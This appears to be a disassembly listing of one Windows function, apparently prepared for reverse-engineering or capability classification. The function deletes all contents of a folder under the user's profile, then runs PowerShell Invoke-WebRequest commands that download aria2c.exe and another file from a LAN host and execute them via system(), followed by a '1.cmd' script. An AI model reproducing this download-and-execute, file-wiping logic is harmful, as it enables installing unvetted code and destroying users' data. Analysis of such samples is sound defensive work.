Function at 0x401672
Capabilities:
Execute command
Query environment variable

Disassembly:
push rbp
push rbx
sub rsp, 0x2f8
lea rbp, [rsp + 0x80]
call dbg.__main
lea rax, [rbp + 0xbf]
mov rcx, rax
call fcn.00472f10
lea rdx, [rbp + 0xbf]
lea rax, [rbp + 0x90]
mov r8, rdx
lea rdx, str.Downloadsdown
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rcx, str.USERPROFILE
call sym.getenv
mov rdx, rax
lea rax, [rbp + 0x70]
lea rcx, [rbp + 0x90]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____
lea rax, [rbp + 0x90]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0xbf]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0xc0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::filesystem.exists_std::filesystem::__cxx11::path_const_
xor eax, 1
mov ebx, eax
lea rax, [rbp + 0xc0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
test bl, bl
je 0x401776
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0xf0]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.std::filesystem.create_directories_std::filesystem::__cxx11::path_const_
lea rax, [rbp + 0xf0]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
jmp 0x40189c
lea rdx, [rbp + 0x70]
lea rax, [rbp + 0x120]
mov r8d, 2
mov rcx, rax
call method.std::filesystem::__cxx11::path::path_std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::filesystem::__cxx11.path__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const__std::filesy
lea rdx, [rbp + 0x120]
lea rax, [rbp - 0x40]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_iterator.directory_iterator_std::filesystem::__cxx11::path_const_
lea rax, [rbp - 0x40]
mov qword [rbp + 0x268], rax
lea rax, [rbp + 0x120]
mov rcx, rax
call method.std::filesystem::__cxx11::path.path__
mov rdx, qword [rbp + 0x268]
lea rax, [rbp + 0x150]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_iterator.directory_iterator_std::filesystem::__cxx11::directory_iterator_const_
lea rax, [rbp - 0x50]
lea rdx, [rbp + 0x150]
mov rcx, rax
call method.std::filesystem::__cxx11.begin_std::filesystem::__cxx11::directory_iterator_
lea rax, [rbp + 0x150]
mov rcx, rax
call fcn.004862a0
mov rdx, qword [rbp + 0x268]
lea rax, [rbp + 0x160]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_iterator.directory_iterator_std::filesystem::__cxx11::directory_iterator_const_
lea rax, [rbp - 0x60]
lea rdx, [rbp + 0x160]
mov rcx, rax
call method.std::filesystem::__cxx11.end_std::filesystem::__cxx11::directory_iterator_
lea rax, [rbp + 0x160]
mov rcx, rax
call fcn.004862a0
lea rdx, [rbp - 0x60]
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::filesystem::__cxx11.operator__std::filesystem::__cxx11::directory_iterator_const__std::filesystem::__cxx11::directory_iterator_const_
test al, al
je 0x401878
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_iterator.operator___const
mov qword [rbp + 0x260], rax
mov rax, qword [rbp + 0x260]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_entry.path___const
mov rcx, rax
call method.std::filesystem.remove_all_std::filesystem::__cxx11::path_const_
lea rax, [rbp - 0x50]
mov rcx, rax
call method.std::filesystem::__cxx11::directory_iterator.operator__
jmp 0x40182c
lea rax, [rbp - 0x60]
mov rcx, rax
call fcn.004862a0
lea rax, [rbp - 0x50]
mov rcx, rax
call fcn.004862a0
lea rax, [rbp - 0x40]
mov rcx, rax
call fcn.004862a0
lea rax, [rbp + 0x17e]
mov rcx, rax
call fcn.00472f10
lea rdx, [rbp + 0x17e]
lea rax, [rbp + 0x50]
mov r8, rdx
lea rdx, str.http:__192.168.0.253:1313_directlink_11_dd_aria2c.Exe
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x17e]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x17f]
mov rcx, rax
call fcn.00472f10
lea rdx, [rbp + 0x17f]
lea rax, [rbp + 0x30]
mov r8, rdx
lea rdx, str.http:__192.168.0.253:1313_directlink_11_dd_3
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string_std.allocator_char____char_const__std::allocator_char__const_
lea rax, [rbp + 0x17f]
mov rcx, rax
call sym.std::allocator_char_::allocator__
lea rax, [rbp + 0x1c0]
lea rdx, [rbp + 0x50]
mov r8, rdx
lea rdx, str.powershell__command__Invoke_WebRequest__Uri
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x1a0]
lea rdx, [rbp + 0x1c0]
lea r8, str.__OutFile_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x180]
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x1a0]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp + 0x10]
lea rdx, [rbp + 0x180]
lea r8, str._aria2c.exe_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x180]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1a0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x1c0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x220]
lea rdx, [rbp + 0x30]
mov r8, rdx
lea rdx, str.powershell__command__Invoke_WebRequest__Uri
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp + 0x200]
lea rdx, [rbp + 0x220]
lea r8, str.__OutFile_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e0]
lea rcx, [rbp + 0x70]
lea rdx, [rbp + 0x200]
mov r8, rcx
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____std::__cxx11::basi
lea rax, [rbp - 0x10]
lea rdx, [rbp + 0x1e0]
lea r8, [0x004d00d7]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x1e0]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x200]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x220]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp - 0x10]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
lea rax, [rbp + 0x240]
lea rdx, [rbp + 0x70]
mov r8, rdx
lea rdx, [0x004d00e0]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____char_const__std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____const_
lea rax, [rbp - 0x30]
lea rdx, [rbp + 0x240]
lea r8, str.1.cmd_
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char____std::operator_char__std::char_traits_char___std.allocator_char____std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char_____char_const_
lea rax, [rbp + 0x240]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x30]
mov rcx, rax
call method.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___.c_str___const
mov rcx, rax
call sym.system
mov ebx, 0
lea rax, [rbp - 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp - 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x10]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x30]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x50]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
lea rax, [rbp + 0x70]
mov rcx, rax
call sym.std::__cxx11::basic_string_char__std::char_traits_char___std::allocator_char___::basic_string__
mov eax, ebx
jmp 0x401ced
add rsp, 0x2f8
pop rbx
pop rbp
ret